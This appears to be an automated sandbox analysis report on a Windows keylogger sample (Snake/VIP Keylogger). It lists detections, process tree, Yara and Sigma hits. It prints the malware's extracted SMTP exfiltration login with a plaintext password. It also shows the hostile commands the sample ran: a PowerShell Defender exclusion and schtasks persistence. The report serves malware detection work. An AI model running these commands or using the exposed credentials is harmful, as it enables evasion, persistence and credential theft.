Edit tour

Windows Analysis Report
2i3Lj7a8Gk.exe

Overview

General Information

Sample name:	2i3Lj7a8Gk.exe renamed because original name is a hash value
Original sample name:	953b66b361820b31e028c6eae7f14a8b57ca6dd231baae5045abbaf7455ab6f3.exe
Analysis ID:	1527690
MD5:	4cf3e3ad3bbfaf2b2950f501466fefb7
SHA1:	32a330bd302d266d201621afa6b624a8e3aa6e04
SHA256:	953b66b361820b31e028c6eae7f14a8b57ca6dd231baae5045abbaf7455ab6f3
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

2i3Lj7a8Gk.exe (PID: 6360 cmdline: "C:\Users\user\Desktop\2i3Lj7a8Gk.exe" MD5: 4CF3E3AD3BBFAF2B2950F501466FEFB7)

powershell.exe (PID: 5768 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7352 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 3288 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp760C.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

2i3Lj7a8Gk.exe (PID: 7180 cmdline: "C:\Users\user\Desktop\2i3Lj7a8Gk.exe" MD5: 4CF3E3AD3BBFAF2B2950F501466FEFB7)

lyNyKapwZJLKnn.exe (PID: 7260 cmdline: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe MD5: 4CF3E3AD3BBFAF2B2950F501466FEFB7)

schtasks.exe (PID: 7468 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp8686.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

lyNyKapwZJLKnn.exe (PID: 7524 cmdline: "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe" MD5: 4CF3E3AD3BBFAF2B2950F501466FEFB7)

lyNyKapwZJLKnn.exe (PID: 7532 cmdline: "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe" MD5: 4CF3E3AD3BBFAF2B2950F501466FEFB7)

lyNyKapwZJLKnn.exe (PID: 7540 cmdline: "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe" MD5: 4CF3E3AD3BBFAF2B2950F501466FEFB7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "info@precioustouchfoundation.org", "Password": "Pr3c!0Us2007", "Host": "mail.precioustouchfoundation.org", "Port": "587"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "info@precioustouchfoundation.org", "Password": "Pr3c!0Us2007", "Host": "mail.precioustouchfoundation.org", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.4140515962.0000000000435000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e4d9:$a1: get_encryptedPassword 0x2e7f6:$a2: get_encryptedUsername 0x2e2e9:$a3: get_timePasswordChanged 0x2e3f2:$a4: get_passwordField 0x2e4ef:$a5: set_encryptedPassword 0x2fb92:$a7: get_logins 0x2faf5:$a10: KeyLoggerEventArgs 0x2f75a:$a11: KeyLoggerEventArgsEventHandler
00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e8e9:$a1: get_encryptedPassword 0x2ec06:$a2: get_encryptedUsername 0x2e6f9:$a3: get_timePasswordChanged 0x2e802:$a4: get_passwordField 0x2e8ff:$a5: set_encryptedPassword 0x2ffa2:$a7: get_logins 0x2ff05:$a10: KeyLoggerEventArgs 0x2fb6a:$a11: KeyLoggerEventArgsEventHandler
00000006.00000002.4142790643.0000000003071000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000006.00000002.4142790643.0000000003179000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.4143062604.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x366919:$a1: get_encryptedPassword 0x3aa539:$a1: get_encryptedPassword 0x3edf59:$a1: get_encryptedPassword 0x366c36:$a2: get_encryptedUsername 0x3aa856:$a2: get_encryptedUsername 0x3ee276:$a2: get_encryptedUsername 0x366729:$a3: get_timePasswordChanged 0x3aa349:$a3: get_timePasswordChanged 0x3edd69:$a3: get_timePasswordChanged 0x366832:$a4: get_passwordField 0x3aa452:$a4: get_passwordField 0x3ede72:$a4: get_passwordField 0x36692f:$a5: set_encryptedPassword 0x3aa54f:$a5: set_encryptedPassword 0x3edf6f:$a5: set_encryptedPassword 0x367fd2:$a7: get_logins 0x3abbf2:$a7: get_logins 0x3ef612:$a7: get_logins 0x367f35:$a10: KeyLoggerEventArgs 0x3abb55:$a10: KeyLoggerEventArgs 0x3ef575:$a10: KeyLoggerEventArgs
Process Memory Space: 2i3Lj7a8Gk.exe PID: 6360	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2i3Lj7a8Gk.exe PID: 6360	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 2i3Lj7a8Gk.exe PID: 6360	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: 2i3Lj7a8Gk.exe PID: 6360	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: 2i3Lj7a8Gk.exe PID: 6360	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3a007:$a1: get_encryptedPassword 0x3a241:$a2: get_encryptedUsername 0x39e34:$a3: get_timePasswordChanged 0x39f31:$a4: get_passwordField 0x3a01d:$a5: set_encryptedPassword 0x3bf87:$a7: get_logins 0x3beff:$a10: KeyLoggerEventArgs 0x3bc95:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: 2i3Lj7a8Gk.exe PID: 7180	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2i3Lj7a8Gk.exe PID: 7180	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: 2i3Lj7a8Gk.exe PID: 7180	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: lyNyKapwZJLKnn.exe PID: 7260	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: lyNyKapwZJLKnn.exe PID: 7260	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: lyNyKapwZJLKnn.exe PID: 7260	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: lyNyKapwZJLKnn.exe PID: 7260	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: lyNyKapwZJLKnn.exe PID: 7260	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x9313:$a1: get_encryptedPassword 0x4fe55:$a1: get_encryptedPassword 0x9626:$a2: get_encryptedUsername 0x50168:$a2: get_encryptedUsername 0x912d:$a3: get_timePasswordChanged 0x4fc6f:$a3: get_timePasswordChanged 0x9236:$a4: get_passwordField 0x4fd78:$a4: get_passwordField 0x9329:$a5: set_encryptedPassword 0x4fe6b:$a5: set_encryptedPassword 0xb7d2:$a7: get_logins 0x52314:$a7: get_logins 0xb735:$a10: KeyLoggerEventArgs 0x52277:$a10: KeyLoggerEventArgs 0xb39e:$a11: KeyLoggerEventArgsEventHandler 0x51ee0:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: lyNyKapwZJLKnn.exe PID: 7540	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: lyNyKapwZJLKnn.exe PID: 7540	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.lyNyKapwZJLKnn.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.lyNyKapwZJLKnn.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ed3a:$s1: UnHook 0x2ed41:$s2: SetHook 0x2ed49:$s3: CallNextHook 0x2ed56:$s4: _hook
7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2c2f9:$a1: get_encryptedPassword 0x2c616:$a2: get_encryptedUsername 0x2c109:$a3: get_timePasswordChanged 0x2c212:$a4: get_passwordField 0x2c30f:$a5: set_encryptedPassword 0x2d9b2:$a7: get_logins 0x2d915:$a10: KeyLoggerEventArgs 0x2d57a:$a11: KeyLoggerEventArgsEventHandler
7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3a058:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x396fb:$a3: \Google\Chrome\User Data\Default\Login Data 0x39958:$a4: \Orbitum\User Data\Default\Login Data 0x3a337:$a5: \Kometa\User Data\Default\Login Data
7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2cf3a:$s1: UnHook 0x2cf41:$s2: SetHook 0x2cf49:$s3: CallNextHook 0x2cf56:$s4: _hook
0.2.2i3Lj7a8Gk.exe.4662820.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.2i3Lj7a8Gk.exe.4662820.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.2i3Lj7a8Gk.exe.4662820.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.2i3Lj7a8Gk.exe.4662820.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2c2f9:$a1: get_encryptedPassword 0x2c616:$a2: get_encryptedUsername 0x2c109:$a3: get_timePasswordChanged 0x2c212:$a4: get_passwordField 0x2c30f:$a5: set_encryptedPassword 0x2d9b2:$a7: get_logins 0x2d915:$a10: KeyLoggerEventArgs 0x2d57a:$a11: KeyLoggerEventArgsEventHandler
7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e0f9:$a1: get_encryptedPassword 0x2e416:$a2: get_encryptedUsername 0x2df09:$a3: get_timePasswordChanged 0x2e012:$a4: get_passwordField 0x2e10f:$a5: set_encryptedPassword 0x2f7b2:$a7: get_logins 0x2f715:$a10: KeyLoggerEventArgs 0x2f37a:$a11: KeyLoggerEventArgsEventHandler
7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3be58:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b4fb:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b758:$a4: \Orbitum\User Data\Default\Login Data 0x3c137:$a5: \Kometa\User Data\Default\Login Data
0.2.2i3Lj7a8Gk.exe.4662820.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3a058:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x396fb:$a3: \Google\Chrome\User Data\Default\Login Data 0x39958:$a4: \Orbitum\User Data\Default\Login Data 0x3a337:$a5: \Kometa\User Data\Default\Login Data
7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ed3a:$s1: UnHook 0x2ed41:$s2: SetHook 0x2ed49:$s3: CallNextHook 0x2ed56:$s4: _hook
0.2.2i3Lj7a8Gk.exe.4662820.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2cf3a:$s1: UnHook 0x2cf41:$s2: SetHook 0x2cf49:$s3: CallNextHook 0x2cf56:$s4: _hook
0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e0f9:$a1: get_encryptedPassword 0x71d19:$a1: get_encryptedPassword 0xb5739:$a1: get_encryptedPassword 0x2e416:$a2: get_encryptedUsername 0x72036:$a2: get_encryptedUsername 0xb5a56:$a2: get_encryptedUsername 0x2df09:$a3: get_timePasswordChanged 0x71b29:$a3: get_timePasswordChanged 0xb5549:$a3: get_timePasswordChanged 0x2e012:$a4: get_passwordField 0x71c32:$a4: get_passwordField 0xb5652:$a4: get_passwordField 0x2e10f:$a5: set_encryptedPassword 0x71d2f:$a5: set_encryptedPassword 0xb574f:$a5: set_encryptedPassword 0x2f7b2:$a7: get_logins 0x733d2:$a7: get_logins 0xb6df2:$a7: get_logins 0x2f715:$a10: KeyLoggerEventArgs 0x73335:$a10: KeyLoggerEventArgs 0xb6d55:$a10: KeyLoggerEventArgs
0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3be58:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7fa78:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xc3498:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b4fb:$a3: \Google\Chrome\User Data\Default\Login Data 0x7f11b:$a3: \Google\Chrome\User Data\Default\Login Data 0xc2b3b:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b758:$a4: \Orbitum\User Data\Default\Login Data 0x7f378:$a4: \Orbitum\User Data\Default\Login Data 0xc2d98:$a4: \Orbitum\User Data\Default\Login Data 0x3c137:$a5: \Kometa\User Data\Default\Login Data 0x7fd57:$a5: \Kometa\User Data\Default\Login Data 0xc3777:$a5: \Kometa\User Data\Default\Login Data
0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ed3a:$s1: UnHook 0x7295a:$s1: UnHook 0xb637a:$s1: UnHook 0x2ed41:$s2: SetHook 0x72961:$s2: SetHook 0xb6381:$s2: SetHook 0x2ed49:$s3: CallNextHook 0x72969:$s3: CallNextHook 0xb6389:$s3: CallNextHook 0x2ed56:$s4: _hook 0x72976:$s4: _hook 0xb6396:$s4: _hook
0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xb3b19:$a1: get_encryptedPassword 0xf7739:$a1: get_encryptedPassword 0x13b159:$a1: get_encryptedPassword 0xb3e36:$a2: get_encryptedUsername 0xf7a56:$a2: get_encryptedUsername 0x13b476:$a2: get_encryptedUsername 0xb3929:$a3: get_timePasswordChanged 0xf7549:$a3: get_timePasswordChanged 0x13af69:$a3: get_timePasswordChanged 0xb3a32:$a4: get_passwordField 0xf7652:$a4: get_passwordField 0x13b072:$a4: get_passwordField 0xb3b2f:$a5: set_encryptedPassword 0xf774f:$a5: set_encryptedPassword 0x13b16f:$a5: set_encryptedPassword 0xb51d2:$a7: get_logins 0xf8df2:$a7: get_logins 0x13c812:$a7: get_logins 0xb5135:$a10: KeyLoggerEventArgs 0xf8d55:$a10: KeyLoggerEventArgs 0x13c775:$a10: KeyLoggerEventArgs
0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0xb475a:$s1: UnHook 0xf837a:$s1: UnHook 0x13bd9a:$s1: UnHook 0xb4761:$s2: SetHook 0xf8381:$s2: SetHook 0x13bda1:$s2: SetHook 0xb4769:$s3: CallNextHook 0xf8389:$s3: CallNextHook 0x13bda9:$s3: CallNextHook 0xb4776:$s4: _hook 0xf8396:$s4: _hook 0x13bdb6:$s4: _hook
0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x139539:$a1: get_encryptedPassword 0x17d159:$a1: get_encryptedPassword 0x1c0b79:$a1: get_encryptedPassword 0x139856:$a2: get_encryptedUsername 0x17d476:$a2: get_encryptedUsername 0x1c0e96:$a2: get_encryptedUsername 0x139349:$a3: get_timePasswordChanged 0x17cf69:$a3: get_timePasswordChanged 0x1c0989:$a3: get_timePasswordChanged 0x139452:$a4: get_passwordField 0x17d072:$a4: get_passwordField 0x1c0a92:$a4: get_passwordField 0x13954f:$a5: set_encryptedPassword 0x17d16f:$a5: set_encryptedPassword 0x1c0b8f:$a5: set_encryptedPassword 0x13abf2:$a7: get_logins 0x17e812:$a7: get_logins 0x1c2232:$a7: get_logins 0x13ab55:$a10: KeyLoggerEventArgs 0x17e775:$a10: KeyLoggerEventArgs 0x1c2195:$a10: KeyLoggerEventArgs
0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x13a17a:$s1: UnHook 0x17dd9a:$s1: UnHook 0x1c17ba:$s1: UnHook 0x13a181:$s2: SetHook 0x17dda1:$s2: SetHook 0x1c17c1:$s2: SetHook 0x13a189:$s3: CallNextHook 0x17dda9:$s3: CallNextHook 0x1c17c9:$s3: CallNextHook 0x13a196:$s4: _hook 0x17ddb6:$s4: _hook 0x1c17d6:$s4: _hook
Click to see the 35 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\2i3Lj7a8Gk.exe", ParentImage: C:\Users\user\Desktop\2i3Lj7a8Gk.exe, ParentProcessId: 6360, ParentProcessName: 2i3Lj7a8Gk.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe", ProcessId: 5768, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp8686.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp8686.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe, ParentImage: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe, ParentProcessId: 7260, ParentProcessName: lyNyKapwZJLKnn.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp8686.tmp", ProcessId: 7468, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 68.66.224.41, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\2i3Lj7a8Gk.exe, Initiated: true, ProcessId: 7180, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 50126

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

